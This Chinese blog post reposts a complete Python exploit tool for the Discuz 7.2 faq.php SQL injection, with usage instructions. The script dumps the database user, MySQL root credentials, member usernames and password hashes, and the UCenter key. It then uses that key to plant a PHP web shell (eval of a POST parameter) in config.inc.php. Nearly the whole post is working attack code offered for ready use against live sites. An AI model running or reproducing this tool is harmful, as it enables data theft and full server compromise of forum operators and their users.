Discuz 7.2 faq.php 注入漏洞全自动利用工具

发布时间:2017-03-22   浏览次数:3,492  

之前小站发布了discuz 7.2 faq.php注入漏洞的分析文章,但是空有分析,没有合适的工作怎么行? 还好网上有大牛已经写好了工具了,我们拿来用即可。。。

Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)

EXP代码:(请保存为dz7.x_faq.py)

此EXP为转的,本人只是把中文乱码以及原代码直接保存后运行出错的地方改了一下。。。

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*- 
# author iswin 
import sys
import hashlib
import time
import math
import base64
import urllib2 
import urllib
import re

def sendRequest(url,para):
        try:
                data = urllib.urlencode(para)
                req=urllib2.Request(url,data)
                res=urllib2.urlopen(req,timeout=20).read()
        except Exception, e:
                print 'Exploit Failed!\n%s'%(e)
                exit(0);
        return res

def getTablePrefix(url):
        print 'Start GetTablePrefix...'
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para);
        pre=re.findall("Duplicate entry '(.*?)'",res);
        if len(pre)==0:
                print 'Exploit Failed!'
                exit(0);
        table_pre=pre[0][:len(pre[0])-1].decode('hex')
        table_pre=table_pre[0:table_pre.index('_')]
        print 'Table_pre:%s'%(table_pre)
        return table_pre

def getCurrentUser(url):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para)
        pre=re.findall("Duplicate entry '(.*?)'",res)
        if len(pre)==0:
                print 'Exploit Failed!'
                exit(0);
        table_pre=pre[0][:len(pre[0])-1]
        print 'Current User:%s'%(table_pre)
        return table_pre

def getUcKey(url):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para);
        res1=sendRequest(url,para1);
        key1=re.findall("Duplicate entry '(.*?)'",res)
        key2=re.findall("Duplicate entry '(.*?)'",res1)
        if len(key1)==0:
                print 'Get Uc_Key Failed!'
                return ''
        key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
        print 'uc_key:%s'%(key)
        return key

def getRootUser(url):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para);
        pre=re.findall("Duplicate entry '(.*?)'",res)
        if len(pre)==0:
                print 'Exploit Failed!'
                exit(0);
        table_pre=pre[0][:len(pre[0])-1].split(' ')
        print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
        res=sendRequest(url,para);
        datas=re.findall("Duplicate entry '(.*?)'",res)
        if len(datas)==0:
                print 'Exploit Failed!'
                exit(0)
        cleandata=datas[0][:len(datas[0])-1]
        info=cleandata.split(' ')
        print 'user:%s pass:%s'%(info[0].decode('utf-8').encode('cp936'),info[1])

def microtime(get_as_float = False) :
    if get_as_float:
        return time.time()
    else:
        return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
    ckey_length = 4
    key = hashlib.md5(key).hexdigest()
    keya = hashlib.md5(key[0:16]).hexdigest()
    keyb = hashlib.md5(key[16:32]).hexdigest()
    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 
    key_length = len(cryptkey)
    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
    string_length = len(string)
    result = ''
    box = range(0, 256)
    rndkey = dict()
    for i in range(0,256):
        rndkey[i] = ord(cryptkey[i % key_length])
    j=0
    for i in range(0,256):
        j = (j + box[i] + rndkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp
    a=0
    j=0
    for i in range(0,string_length):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
    return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
    headers={'Accept-Language':'zh-cn',
    'Content-Type':'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
    'Referer':url
    }
    tm = time.time()+10*3600
    tm="time=%d&action=updateapps" %tm
    code = urllib.quote(get_authcode(tm,key))
    url=url+"?code="+code
    data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data1,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "Exploit Falied"
    data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://aaa</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data2,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "error"

    try:
            req=urllib2.Request(host+'/config.inc.php')
            res=urllib2.urlopen(req,timeout=20).read()
    except Exception, e:
            print 'GetWebshell Failed,%s'%(e)
            return 
    print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':
        print 'DZ7.x Exp Code By iswin'
        if len(sys.argv)<3:
                print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.waitalone.cn 10'
                exit(0)
        url=sys.argv[1]+'/faq.php'
        count=int(sys.argv[2])
        user=getCurrentUser(url)
        if user.startswith('root@'):
                getRootUser(url)
        uc_key=getUcKey(url)
        if len(uc_key)==64:
                print 'Start GetWebshell...'
                get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
        tb_pre=getTablePrefix(url)
        print 'Start DumpData...'
        for x in xrange(0,count):
                dumpData(url,tb_pre,x)

EXP用法:

python dz7.x_faq.py http://www.waitalone.cn 10

其中http://www.waitalone.cn/ 为待检测的域名

后面的数字10为dump出多少条数据。

Discuz 7.2 faq.php 注入漏洞全自动利用工具

原文地址:http://www.iswin.org/a/21


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